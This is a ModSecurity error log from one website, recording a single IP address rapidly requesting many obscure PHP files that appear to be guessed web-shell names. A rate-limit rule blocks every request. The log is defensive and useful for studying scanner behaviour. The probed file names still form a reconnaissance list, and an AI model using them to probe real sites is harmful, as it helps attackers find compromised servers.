[Sun Mar 29 23:20:42.290916 2026] [:error] [pid 23168:tid 23198] [client 68.155.145.150:12271] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "aclDSmP8p0yRL8ot_2-6TgAAAgE"]
[Sun Mar 29 23:20:42.822069 2026] [:error] [pid 23250:tid 23276] [client 68.155.145.150:12246] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "aclDSpxrpj-dQjy1cvoUuwAAAlg"]
[Sun Mar 29 23:20:43.240384 2026] [:error] [pid 23167:tid 23193] [client 68.155.145.150:12236] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "aclDSxIAHJCFaHff3_fWfAAAAdc"]
[Sun Mar 29 23:20:43.743327 2026] [:error] [pid 8818:tid 8839] [client 68.155.145.150:12273] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aclDSyCDvotZNSF0FBrzMQAAAVE"]
[Sun Mar 29 23:20:44.197679 2026] [:error] [pid 23137:tid 23157] [client 68.155.145.150:12170] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aclDTBaWQa7LdZ_qGFYJZwAAAZI"]
[Sun Mar 29 23:20:44.741312 2026] [:error] [pid 23167:tid 23190] [client 68.155.145.150:12198] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aclDTBIAHJCFaHff3_fWfgAAAdQ"]
[Sun Mar 29 23:20:45.281781 2026] [:error] [pid 8818:tid 8845] [client 68.155.145.150:12278] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aclDTSCDvotZNSF0FBrzMgAAAVc"]
[Sun Mar 29 23:20:45.728374 2026] [:error] [pid 32254:tid 32267] [client 68.155.145.150:12259] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aclDTaug2IHuyGgCTn9logAAAAM"]
[Sun Mar 29 23:20:46.292503 2026] [:error] [pid 32255:tid 32305] [client 68.155.145.150:12161] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aclDTmnfn-AtRoMbquwU6wAAAE4"]
[Sun Mar 29 23:20:46.861150 2026] [:error] [pid 23137:tid 23151] [client 68.155.145.150:12174] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aclDThaWQa7LdZ_qGFYJagAAAYw"]
[Sun Mar 29 23:20:47.291133 2026] [:error] [pid 23167:tid 23180] [client 68.155.145.150:12284] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aclDTxIAHJCFaHff3_fWiwAAAco"]
[Sun Mar 29 23:20:47.785542 2026] [:error] [pid 8818:tid 8840] [client 68.155.145.150:12255] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hots.php"] [unique_id "aclDTyCDvotZNSF0FBrzOQAAAVI"]
[Sun Mar 29 23:20:48.269798 2026] [:error] [pid 32257:tid 32338] [client 68.155.145.150:12178] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hots.php"] [unique_id "aclDUCE3TArOFrUtgWpmwQAAAJQ"]
[Sun Mar 29 23:20:48.780946 2026] [:error] [pid 23284:tid 23308] [client 68.155.145.150:12223] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hots.php"] [unique_id "aclDUIzBujdPHsq7wyTiMgAAApY"]
[Sun Mar 29 23:20:49.340151 2026] [:error] [pid 23284:tid 23296] [client 68.155.145.150:12227] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hots.php"] [unique_id "aclDUYzBujdPHsq7wyTiOAAAAoo"]
[Sun Mar 29 23:20:49.818030 2026] [:error] [pid 23284:tid 23291] [client 68.155.145.150:12253] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aclDUYzBujdPHsq7wyTiPgAAAoU"]
[Sun Mar 29 23:20:50.416513 2026] [:error] [pid 23284:tid 23299] [client 68.155.145.150:12285] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aclDUozBujdPHsq7wyTiRQAAAo0"]
[Sun Mar 29 23:20:51.033020 2026] [:error] [pid 23250:tid 23260] [client 68.155.145.150:12283] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aclDU5xrpj-dQjy1cvoUxwAAAkg"]
[Sun Mar 29 23:20:52.025689 2026] [:error] [pid 32257:tid 32328] [client 68.155.145.150:12179] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aclDVCE3TArOFrUtgWpm0wAAAIo"]
[Sun Mar 29 23:20:52.598765 2026] [:error] [pid 23284:tid 23310] [client 68.155.145.150:12281] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aclDVIzBujdPHsq7wyTiVQAAApg"]
[Sun Mar 29 23:20:53.201812 2026] [:error] [pid 23284:tid 23301] [client 68.155.145.150:12186] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aclDVYzBujdPHsq7wyTiWQAAAo8"]
[Sun Mar 29 23:20:53.657326 2026] [:error] [pid 23284:tid 23292] [client 68.155.145.150:12180] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aclDVYzBujdPHsq7wyTiXAAAAoY"]
[Sun Mar 29 23:20:54.152824 2026] [:error] [pid 32254:tid 32271] [client 68.155.145.150:12102] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aclDVqug2IHuyGgCTn9lpgAAAAc"]
[Sun Mar 29 23:20:54.628082 2026] [:error] [pid 23284:tid 23309] [client 68.155.145.150:12247] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aclDVozBujdPHsq7wyTiYQAAApc"]
[Sun Mar 29 23:20:55.071531 2026] [:error] [pid 32255:tid 32306] [client 68.155.145.150:12162] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aclDV2nfn-AtRoMbquwU9gAAAE8"]
[Sun Mar 29 23:20:55.549053 2026] [:error] [pid 8818:tid 8841] [client 68.155.145.150:12196] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aclDVyCDvotZNSF0FBrzQwAAAVM"]
[Sun Mar 29 23:20:56.107035 2026] [:error] [pid 32254:tid 32278] [client 68.155.145.150:12134] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aclDWKug2IHuyGgCTn9lqwAAAA4"]
[Sun Mar 29 23:20:56.711915 2026] [:error] [pid 32255:tid 32309] [client 68.155.145.150:12169] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aclDWGnfn-AtRoMbquwU-wAAAFI"]
[Sun Mar 29 23:20:57.352367 2026] [:error] [pid 23284:tid 23291] [client 68.155.145.150:12262] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aclDWYzBujdPHsq7wyTiaAAAAoU"]
[Sun Mar 29 23:20:58.032559 2026] [:error] [pid 32257:tid 32327] [client 68.155.145.150:12183] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aclDWiE3TArOFrUtgWpm5AAAAIk"]
[Sun Mar 29 23:20:58.651865 2026] [:error] [pid 23250:tid 23272] [client 68.155.145.150:12237] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aclDWpxrpj-dQjy1cvoU8QAAAlQ"]
[Sun Mar 29 23:20:59.169077 2026] [:error] [pid 23250:tid 23276] [client 68.155.145.150:12267] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aclDW5xrpj-dQjy1cvoU9wAAAlg"]
[Sun Mar 29 23:20:59.661166 2026] [:error] [pid 23250:tid 23268] [client 68.155.145.150:12231] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aclDW5xrpj-dQjy1cvoU_QAAAlA"]
[Sun Mar 29 23:21:00.125372 2026] [:error] [pid 23137:tid 23151] [client 68.155.145.150:12257] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aclDXBaWQa7LdZ_qGFYJeQAAAYw"]
[Sun Mar 29 23:21:00.679715 2026] [:error] [pid 32255:tid 32307] [client 68.155.145.150:12225] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aclDXGnfn-AtRoMbquwVBAAAAFA"]
[Sun Mar 29 23:21:01.240636 2026] [:error] [pid 32255:tid 32291] [client 68.155.145.150:12234] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "aclDXWnfn-AtRoMbquwVBwAAAEA"]
[Sun Mar 29 23:21:01.679668 2026] [:error] [pid 32257:tid 32319] [client 68.155.145.150:12115] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "aclDXSE3TArOFrUtgWpm-gAAAIE"]
[Sun Mar 29 23:21:02.306890 2026] [:error] [pid 23167:tid 23178] [client 68.155.145.150:12222] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "aclDXhIAHJCFaHff3_fWlQAAAcg"]
[Sun Mar 29 23:21:02.854455 2026] [:error] [pid 8818:tid 8828] [client 68.155.145.150:12220] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "aclDXiCDvotZNSF0FBrzSQAAAUY"]
[Sun Mar 29 23:21:03.374842 2026] [:error] [pid 23168:tid 23203] [client 68.155.145.150:12287] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aclDX2P8p0yRL8ot_2-6VgAAAgY"]
[Sun Mar 29 23:21:03.912280 2026] [:error] [pid 32255:tid 32312] [client 68.155.145.150:12105] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aclDX2nfn-AtRoMbquwVFAAAAFU"]
[Sun Mar 29 23:21:04.342769 2026] [:error] [pid 32254:tid 32276] [client 68.155.145.150:12103] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aclDYKug2IHuyGgCTn9lsQAAAAw"]
[Sun Mar 29 23:21:04.837020 2026] [:error] [pid 32359:tid 32378] [client 68.155.145.150:12279] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aclDYAMb8G3UzfQP3Wg7DQAAANE"]
[Sun Mar 29 23:21:05.269006 2026] [:error] [pid 23167:tid 23176] [client 68.155.145.150:12187] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws83.php"] [unique_id "aclDYRIAHJCFaHff3_fWmgAAAcY"]
[Sun Mar 29 23:21:05.804295 2026] [:error] [pid 23284:tid 23303] [client 68.155.145.150:12239] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws83.php"] [unique_id "aclDYYzBujdPHsq7wyTicwAAApE"]
[Sun Mar 29 23:21:06.306379 2026] [:error] [pid 23284:tid 23310] [client 68.155.145.150:12125] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws83.php"] [unique_id "aclDYozBujdPHsq7wyTidgAAApg"]
[Sun Mar 29 23:21:06.819162 2026] [:error] [pid 32257:tid 32333] [client 68.155.145.150:12127] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws83.php"] [unique_id "aclDYiE3TArOFrUtgWpnEAAAAI8"]
[Sun Mar 29 23:21:07.371416 2026] [:error] [pid 8818:tid 8824] [client 68.155.145.150:12218] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/56c53.php"] [unique_id "aclDYyCDvotZNSF0FBrzUwAAAUI"]
[Sun Mar 29 23:21:07.955181 2026] [:error] [pid 23167:tid 23172] [client 68.155.145.150:12104] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aclDYxIAHJCFaHff3_fWngAAAcI"]
[Sun Mar 29 23:21:08.400765 2026] [:error] [pid 23250:tid 23274] [client 68.155.145.150:12269] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aclDZJxrpj-dQjy1cvoVFQAAAlY"]
[Sun Mar 29 23:21:08.880920 2026] [:error] [pid 23284:tid 23287] [client 68.155.145.150:12116] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aclDZIzBujdPHsq7wyTigwAAAoE"]
[Sun Mar 29 23:21:09.340077 2026] [:error] [pid 32257:tid 32338] [client 68.155.145.150:12204] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aclDZSE3TArOFrUtgWpnHQAAAJQ"]
[Sun Mar 29 23:21:09.809480 2026] [:error] [pid 32257:tid 32336] [client 68.155.145.150:12265] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aclDZSE3TArOFrUtgWpnIQAAAJI"]
[Sun Mar 29 23:21:10.452580 2026] [:error] [pid 32255:tid 32291] [client 68.155.145.150:12192] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aclDZmnfn-AtRoMbquwVHwAAAEA"]
[Sun Mar 29 23:21:10.909659 2026] [:error] [pid 32257:tid 32336] [client 68.155.145.150:12240] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aclDZiE3TArOFrUtgWpnKwAAAJI"]
[Sun Mar 29 23:21:11.330428 2026] [:error] [pid 32254:tid 32281] [client 68.155.145.150:12143] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aclDZ6ug2IHuyGgCTn9lsgAAABE"]
